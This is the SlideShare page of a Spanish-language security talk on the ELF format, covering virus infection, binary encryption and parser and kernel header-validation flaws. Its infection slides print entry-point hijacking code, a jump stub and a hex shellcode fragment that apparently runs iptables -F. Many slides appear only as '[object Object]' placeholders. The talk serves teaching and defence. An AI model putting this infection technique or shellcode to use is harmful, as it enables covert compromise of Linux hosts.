SlideShare une entreprise Scribd logo
1  sur  45
ELF EN LA MIRA: HACKING Y DEFENSA ,[object Object],[object Object],[object Object],[object Object]
TABLA DE CONTENIDOS ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
¿QUE ES ELF? ELF  por sus siglas en inglés de  Executable and Linking Format  es un formato de archivo mayormente utilizado en sistemas tipo UNIX como Linux, BSD, Solaris, Irix. Existen otros formatos soportados en algunos de estos sistemas como COFF o a.out, pero  ELF  es sin duda el más usado.
¿QUE ES ELF? (Cont.) ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
INTERFACES O VISTAS
ESTRUCTURA DE ELF Elf32_Ehdr
ESTRUCTURA DE ELF Elf32_Shdr
ESTRUCTURA DE ELF Elf32_Phdr
BLACKHAT
HACE ALGUNOS AÑOS… ,[object Object],[object Object],[object Object],[object Object]
“ Virus writers and other cyber criminals have lost interest in Linux, since it is neither “underground” nor mainstream, which means there isn't much money-making potential” Fuente:  Kaspersky Security Bulletin 2006: Malware for Unix-type systems MALWARE FOR UNIX-TYPE SYSTEMS Number of malicious programs for Unix platforms
Breakdown of malware according to platform  MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente:  Kaspersky Security Bulletin 2006: Malware for Unix-type systems
Breakdown of malware according to platform  MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente:  Kaspersky Security Bulletin 2006: Malware for Unix-type systems
TÉCNICAS DE INFECCIÓN ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
CASO: INFECCIÓN DEL SEGMENTO DE DATOS .text .data .bss 0x080482d0 *(int *)&parasite[par_entry_off] = header->e_entry; " bdedacef0d "   // mov  $0xdefaced,%ebp " ffe5 "  // jmp  *%ebp " bd d0820408 " " ffe5 " Entrypoint
header->e_entry = program->p_vaddr + program->p_memsz; CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss 0x080482d0 Entrypoint
.text .data .bss 0x080482d0 CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) “ 6a0b589952” “ 66682d4689” “ e152666865” “ 7368746162” “ 6c686e2f69” “ 70682f7362” “ 6989e35251” “ 5389e1cd80”
CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss nitr0us@hacklab $ ./run_forest_run Parásito
DEMO ELF_data_infector.c  (nitr0us) 4554invader.c  (Electronic Souls) ES-Malaria  (Electronic Souls)
ESTEGANOGRAFÍA ,[object Object],[object Object],[object Object],Tazas de Codificación Fuente:  Hydan: Hiding Information in Program Binaries
DEMO Hydan  ( Rakan El-Khalil)
WHITEHAT
SEGURIDAD EN ELF ,[object Object],[object Object],[object Object],[object Object],[object Object]
DEMO cryptelf.c  (SLACKo) ELFCrypt.c  (JunkCode) elfsign  (skape)
GRAYHAT FRANK SINATRA
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],(IN) SEGURIDAD EN ELF
ANÁLISIS DE VULNERABILIDADES ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
ELF HEADER (Elf32_Ehdr)
¿Y QUE SI…?
ELF PROGRAM HEADER (Elf32_Ehdr)
¿Y QUE SI…?
INTERPRETE
¿Y QUE SI…?
Elf32_Shdr *sections = (Elf32_Shdr *) (elfptr + hdr.e_shoff);  shstrtab_section = *(Elf32_Shdr *) (elfptr + hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr)); shstrtab_offset  = shstrtab_section.sh_offset; printf(“[Nr]  Section name”); for(k = 0; k < hdr.e_shnum; k++, sections++){ printf(&quot;[%2d] %s&quot;, k,   elfptr + shstrtab_offset + sections->sh_name); … } if(phdrs->p_type == PT_INTERP) printf(&quot;[Interpreter: %s]&quot;, elfptr + phdrs->p_offset);  ENTONCES, QUE PASARÍA CON…
 
KERNEL (Linux 2.6) /usr/src/linux/fs/binfmt_elf.c load_elf_interp() int size; ... if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr)) goto out; if (interp_elf_ex->e_phnum < 1 || interp_elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr)) goto out; /* Now read in all of the header information */ size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum; if (size > ELF_MIN_ALIGN) /* size > 4096 */ goto out; elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_binary() unsigned int size; … size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr); elf_phdata = (struct elf_phdr *)  kmalloc(size,GFP_KERNEL); … elf_interpreter = (char *)  kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);
KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_library() int j; /* Now read in all of the header information */ j = sizeof(struct elf_phdr) * elf_ex.e_phnum; /* j < ELF_MIN_ALIGN because elf_ex.e_phnum <= 2 */ elf_phdata = kmalloc(j, GFP_KERNEL);
DEMO ELFsh_crash.esh  (nitr0us) ht_shstrndx_poc.c  (nitr0us) Gizmo  (izik)
CONCLUSIÓN ELF es un formato de archivos algo complejo, dentro del cual se encuentran estructuras de datos, ya sea para crear un ejecutable o para cargarlo en memoria y ejecutarlo. Dentro de estas estructuras de datos es posible encontrar diferentes valores que podrían ser modificados para violar la especificación.
¿PREGUNTAS? ¿COMENTARIOS?
REFERENCIAS [1] Anonymous, (2002). Runtime Process Infection.  Phrack Magazine, 11 (59). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=59&id=8 [2] Barros, C. (2006). Complete guide to process infection.  The Bug Magazine,  1 (1). Extraido el 20 de Enero de 2007 desde http://www.thebugmagazine.org/magazine/bug01/0x06_complete- guide-to-process-infection.txt [3] Bauche, D. (2005).  Ingeniería Inversa en Linux . Guadalajara, Jalisco, México. Extraido el 11 de Noviembre de 2006 desde  http://www.genexx.org/pubs/iil/IIL.pdf [4]  El-Khalil, R. & Keromytis, A.  Hydan: Hiding Information in Program Binaries . Department of Computer Science, Columbia University. New York. [5] Garaizar, P. (s.f.).  Virus en Linux – Un nuevo campo de batalla .
REFERENCIAS (Cont.) [6] Griffiths, A. (s.f.).  Binary protection schemes  (Ed. Rev. 1.0-prerelease- 0.7). Extraido el 13 de Febrero de 2007 desde  http://felinemenace.org/papers/Binary_protection_schemes-1.00- prerelease.tar.gz [7] Grugq, Scut (2001). Armouring the ELF: Binary encryption on the UNIX  platform.  Phrack Magazine, 11 (58).  Extraido el 02 de Junio de 2007  desde  http://www.phrack.org/issues.html?issue=58&id=5 [8] Grugq. (s.f.).  Cheating the ELF . Extraido el 04 de Marzo de 2006 desde  http://m4dch4t.effraie.org/coding/Cheating_elf.pdf [9] Haungs, M. (1998).  Extending Sim286 to the Intel386 Architecture with 32-bit  processing and Elf Binary input  (p. 10-17).  Extraido el 12 de Mayo de 2006  desde http://www.cs.ucdavis.edu/~haungs/paper/paper.html [10] Hodson, D.(2004).  ELF: A fairytale for viruses . Trabajo presentado en RuxCon 2004 conference, Julio 10-11, Sydney, Australia.
[11]  Johnson, R. (2004).  Hooking the Linux ELF Loader . Trabajo presentado en Toorcon 2004 conference, Septiembre 24-26, San Diego,  California, USA. [12]  Lu, H. (1995).  ELF: From The Programmer's Perspective . NY 10604, USA. [13] Starzetz, P. (2004).  Linux kernel binfmt_elf loader vulnerabilities . [14] TIS Committee. (1995).  Executable and Linking Format (ELF) Specification  v. 1.2 .  Extraido el 22 de Enero de 2005 desde http://www.x86.org/ftp/manuals/tools/elf.pdf REFERENCIAS (Cont.)
A. Alejandro Hernández Hernández [email_address] http://www.genexx.org/nitrous/ Gracias !

Contenu connexe

Similaire à ELF en la mira: Hacking y Defensa

Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valeraguestf280e2
 
Sistemas de VoIP con Asterisk
Sistemas de VoIP con AsteriskSistemas de VoIP con Asterisk
Sistemas de VoIP con AsteriskGabriel Astudillo
 
Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Adrián Lois
 
CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)Darwin Durand
 
Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Internet Security Auditors
 
VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010Gabriel Astudillo
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011Futura Networks
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011Futura Networks
 
SSRF, la vulnerabilidad de las aplicaciones web modernas
SSRF, la vulnerabilidad de las aplicaciones web modernasSSRF, la vulnerabilidad de las aplicaciones web modernas
SSRF, la vulnerabilidad de las aplicaciones web modernasEfren Diaz Gomez
 
Guía Laboratorio 6.pdf
Guía Laboratorio 6.pdfGuía Laboratorio 6.pdf
Guía Laboratorio 6.pdfAdaLpezCotrina
 
Anatomía de un ataque a tns listener
Anatomía de un ataque a tns listenerAnatomía de un ataque a tns listener
Anatomía de un ataque a tns listeneryt f
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas ForensesConferencias FIST
 
Malware en Linux - Barcamp SE - Cali, Colombia 2013
Malware en Linux - Barcamp SE - Cali, Colombia 2013Malware en Linux - Barcamp SE - Cali, Colombia 2013
Malware en Linux - Barcamp SE - Cali, Colombia 2013Alejandro Hernández
 
Exploits y stack overflows en windows 2017
Exploits y stack overflows en windows 2017Exploits y stack overflows en windows 2017
Exploits y stack overflows en windows 2017Un Marcos
 
Presentacion re y_des_09072003
Presentacion re y_des_09072003Presentacion re y_des_09072003
Presentacion re y_des_09072003Alonso Caballero
 
Material taller de exploiting Navaja Negra 4ed
Material taller de exploiting Navaja Negra 4edMaterial taller de exploiting Navaja Negra 4ed
Material taller de exploiting Navaja Negra 4edIgnacio Sorribas
 
PeruHack 2014 - Post Explotacion en Entornos Windows
PeruHack 2014 - Post Explotacion en Entornos WindowsPeruHack 2014 - Post Explotacion en Entornos Windows
PeruHack 2014 - Post Explotacion en Entornos WindowsMauricio Velazco
 

Similaire à ELF en la mira: Hacking y Defensa (20)

Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valera
 
Sistemas de VoIP con Asterisk
Sistemas de VoIP con AsteriskSistemas de VoIP con Asterisk
Sistemas de VoIP con Asterisk
 
Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]
 
VoIP con Asterisk 2009
VoIP con Asterisk 2009VoIP con Asterisk 2009
VoIP con Asterisk 2009
 
CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)
 
Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86
 
VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011
 
SSRF, la vulnerabilidad de las aplicaciones web modernas
SSRF, la vulnerabilidad de las aplicaciones web modernasSSRF, la vulnerabilidad de las aplicaciones web modernas
SSRF, la vulnerabilidad de las aplicaciones web modernas
 
Guía Laboratorio 6.pdf
Guía Laboratorio 6.pdfGuía Laboratorio 6.pdf
Guía Laboratorio 6.pdf
 
Anatomía de un ataque a tns listener
Anatomía de un ataque a tns listenerAnatomía de un ataque a tns listener
Anatomía de un ataque a tns listener
 
Plone en La Jornada
Plone en La JornadaPlone en La Jornada
Plone en La Jornada
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
 
Malware en Linux - Barcamp SE - Cali, Colombia 2013
Malware en Linux - Barcamp SE - Cali, Colombia 2013Malware en Linux - Barcamp SE - Cali, Colombia 2013
Malware en Linux - Barcamp SE - Cali, Colombia 2013
 
Exploits y stack overflows en windows 2017
Exploits y stack overflows en windows 2017Exploits y stack overflows en windows 2017
Exploits y stack overflows en windows 2017
 
Presentacion re y_des_09072003
Presentacion re y_des_09072003Presentacion re y_des_09072003
Presentacion re y_des_09072003
 
Material taller de exploiting Navaja Negra 4ed
Material taller de exploiting Navaja Negra 4edMaterial taller de exploiting Navaja Negra 4ed
Material taller de exploiting Navaja Negra 4ed
 
Analaisis de malwatre trickbot - mp alonso
Analaisis de malwatre   trickbot - mp alonsoAnalaisis de malwatre   trickbot - mp alonso
Analaisis de malwatre trickbot - mp alonso
 
PeruHack 2014 - Post Explotacion en Entornos Windows
PeruHack 2014 - Post Explotacion en Entornos WindowsPeruHack 2014 - Post Explotacion en Entornos Windows
PeruHack 2014 - Post Explotacion en Entornos Windows
 

Plus de Alejandro Hernández

Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
Are You Trading Stocks Securely? Exposing Security Flaws in Trading TechnologiesAre You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
Are You Trading Stocks Securely? Exposing Security Flaws in Trading TechnologiesAlejandro Hernández
 
Brain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
Brain Waves Surfing - (In)security in EEG (Electroencephalography) TechnologiesBrain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
Brain Waves Surfing - (In)security in EEG (Electroencephalography) TechnologiesAlejandro Hernández
 
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzerIn the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzerAlejandro Hernández
 
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...Alejandro Hernández
 
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013Alejandro Hernández
 
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)Alejandro Hernández
 
Fuzzeando Snort con opciones TCP/IP
Fuzzeando Snort con opciones TCP/IPFuzzeando Snort con opciones TCP/IP
Fuzzeando Snort con opciones TCP/IPAlejandro Hernández
 

Plus de Alejandro Hernández (9)

Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
Are You Trading Stocks Securely? Exposing Security Flaws in Trading TechnologiesAre You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
 
Brain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
Brain Waves Surfing - (In)security in EEG (Electroencephalography) TechnologiesBrain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
Brain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
 
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzerIn the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
 
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
 
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
 
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
 
De Hacker a C-Level
De Hacker a C-LevelDe Hacker a C-Level
De Hacker a C-Level
 
Live Hacking : del Bug al Exploit
Live Hacking : del Bug al ExploitLive Hacking : del Bug al Exploit
Live Hacking : del Bug al Exploit
 
Fuzzeando Snort con opciones TCP/IP
Fuzzeando Snort con opciones TCP/IPFuzzeando Snort con opciones TCP/IP
Fuzzeando Snort con opciones TCP/IP
 

ELF en la mira: Hacking y Defensa

  • 1.
  • 2.
  • 3. ¿QUE ES ELF? ELF por sus siglas en inglés de Executable and Linking Format es un formato de archivo mayormente utilizado en sistemas tipo UNIX como Linux, BSD, Solaris, Irix. Existen otros formatos soportados en algunos de estos sistemas como COFF o a.out, pero ELF es sin duda el más usado.
  • 4.
  • 6. ESTRUCTURA DE ELF Elf32_Ehdr
  • 7. ESTRUCTURA DE ELF Elf32_Shdr
  • 8. ESTRUCTURA DE ELF Elf32_Phdr
  • 10.
  • 11. “ Virus writers and other cyber criminals have lost interest in Linux, since it is neither “underground” nor mainstream, which means there isn't much money-making potential” Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems MALWARE FOR UNIX-TYPE SYSTEMS Number of malicious programs for Unix platforms
  • 12. Breakdown of malware according to platform MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems
  • 13. Breakdown of malware according to platform MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems
  • 14.
  • 15. CASO: INFECCIÓN DEL SEGMENTO DE DATOS .text .data .bss 0x080482d0 *(int *)&parasite[par_entry_off] = header->e_entry; &quot; bdedacef0d &quot; // mov $0xdefaced,%ebp &quot; ffe5 &quot; // jmp *%ebp &quot; bd d0820408 &quot; &quot; ffe5 &quot; Entrypoint
  • 16. header->e_entry = program->p_vaddr + program->p_memsz; CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss 0x080482d0 Entrypoint
  • 17. .text .data .bss 0x080482d0 CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) “ 6a0b589952” “ 66682d4689” “ e152666865” “ 7368746162” “ 6c686e2f69” “ 70682f7362” “ 6989e35251” “ 5389e1cd80”
  • 18. CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss nitr0us@hacklab $ ./run_forest_run Parásito
  • 19. DEMO ELF_data_infector.c (nitr0us) 4554invader.c (Electronic Souls) ES-Malaria (Electronic Souls)
  • 20.
  • 21. DEMO Hydan ( Rakan El-Khalil)
  • 23.
  • 24. DEMO cryptelf.c (SLACKo) ELFCrypt.c (JunkCode) elfsign (skape)
  • 26.
  • 27.
  • 30. ELF PROGRAM HEADER (Elf32_Ehdr)
  • 34. Elf32_Shdr *sections = (Elf32_Shdr *) (elfptr + hdr.e_shoff); shstrtab_section = *(Elf32_Shdr *) (elfptr + hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr)); shstrtab_offset = shstrtab_section.sh_offset; printf(“[Nr] Section name”); for(k = 0; k < hdr.e_shnum; k++, sections++){ printf(&quot;[%2d] %s&quot;, k, elfptr + shstrtab_offset + sections->sh_name); … } if(phdrs->p_type == PT_INTERP) printf(&quot;[Interpreter: %s]&quot;, elfptr + phdrs->p_offset); ENTONCES, QUE PASARÍA CON…
  • 35.  
  • 36. KERNEL (Linux 2.6) /usr/src/linux/fs/binfmt_elf.c load_elf_interp() int size; ... if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr)) goto out; if (interp_elf_ex->e_phnum < 1 || interp_elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr)) goto out; /* Now read in all of the header information */ size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum; if (size > ELF_MIN_ALIGN) /* size > 4096 */ goto out; elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
  • 37. KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_binary() unsigned int size; … size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr); elf_phdata = (struct elf_phdr *) kmalloc(size,GFP_KERNEL); … elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);
  • 38. KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_library() int j; /* Now read in all of the header information */ j = sizeof(struct elf_phdr) * elf_ex.e_phnum; /* j < ELF_MIN_ALIGN because elf_ex.e_phnum <= 2 */ elf_phdata = kmalloc(j, GFP_KERNEL);
  • 39. DEMO ELFsh_crash.esh (nitr0us) ht_shstrndx_poc.c (nitr0us) Gizmo (izik)
  • 40. CONCLUSIÓN ELF es un formato de archivos algo complejo, dentro del cual se encuentran estructuras de datos, ya sea para crear un ejecutable o para cargarlo en memoria y ejecutarlo. Dentro de estas estructuras de datos es posible encontrar diferentes valores que podrían ser modificados para violar la especificación.
  • 42. REFERENCIAS [1] Anonymous, (2002). Runtime Process Infection. Phrack Magazine, 11 (59). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=59&id=8 [2] Barros, C. (2006). Complete guide to process infection. The Bug Magazine, 1 (1). Extraido el 20 de Enero de 2007 desde http://www.thebugmagazine.org/magazine/bug01/0x06_complete- guide-to-process-infection.txt [3] Bauche, D. (2005). Ingeniería Inversa en Linux . Guadalajara, Jalisco, México. Extraido el 11 de Noviembre de 2006 desde http://www.genexx.org/pubs/iil/IIL.pdf [4] El-Khalil, R. & Keromytis, A. Hydan: Hiding Information in Program Binaries . Department of Computer Science, Columbia University. New York. [5] Garaizar, P. (s.f.). Virus en Linux – Un nuevo campo de batalla .
  • 43. REFERENCIAS (Cont.) [6] Griffiths, A. (s.f.). Binary protection schemes (Ed. Rev. 1.0-prerelease- 0.7). Extraido el 13 de Febrero de 2007 desde http://felinemenace.org/papers/Binary_protection_schemes-1.00- prerelease.tar.gz [7] Grugq, Scut (2001). Armouring the ELF: Binary encryption on the UNIX platform. Phrack Magazine, 11 (58). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=58&id=5 [8] Grugq. (s.f.). Cheating the ELF . Extraido el 04 de Marzo de 2006 desde http://m4dch4t.effraie.org/coding/Cheating_elf.pdf [9] Haungs, M. (1998). Extending Sim286 to the Intel386 Architecture with 32-bit processing and Elf Binary input (p. 10-17). Extraido el 12 de Mayo de 2006 desde http://www.cs.ucdavis.edu/~haungs/paper/paper.html [10] Hodson, D.(2004). ELF: A fairytale for viruses . Trabajo presentado en RuxCon 2004 conference, Julio 10-11, Sydney, Australia.
  • 44. [11] Johnson, R. (2004). Hooking the Linux ELF Loader . Trabajo presentado en Toorcon 2004 conference, Septiembre 24-26, San Diego, California, USA. [12] Lu, H. (1995). ELF: From The Programmer's Perspective . NY 10604, USA. [13] Starzetz, P. (2004). Linux kernel binfmt_elf loader vulnerabilities . [14] TIS Committee. (1995). Executable and Linking Format (ELF) Specification v. 1.2 . Extraido el 22 de Enero de 2005 desde http://www.x86.org/ftp/manuals/tools/elf.pdf REFERENCIAS (Cont.)
  • 45. A. Alejandro Hernández Hernández [email_address] http://www.genexx.org/nitrous/ Gracias !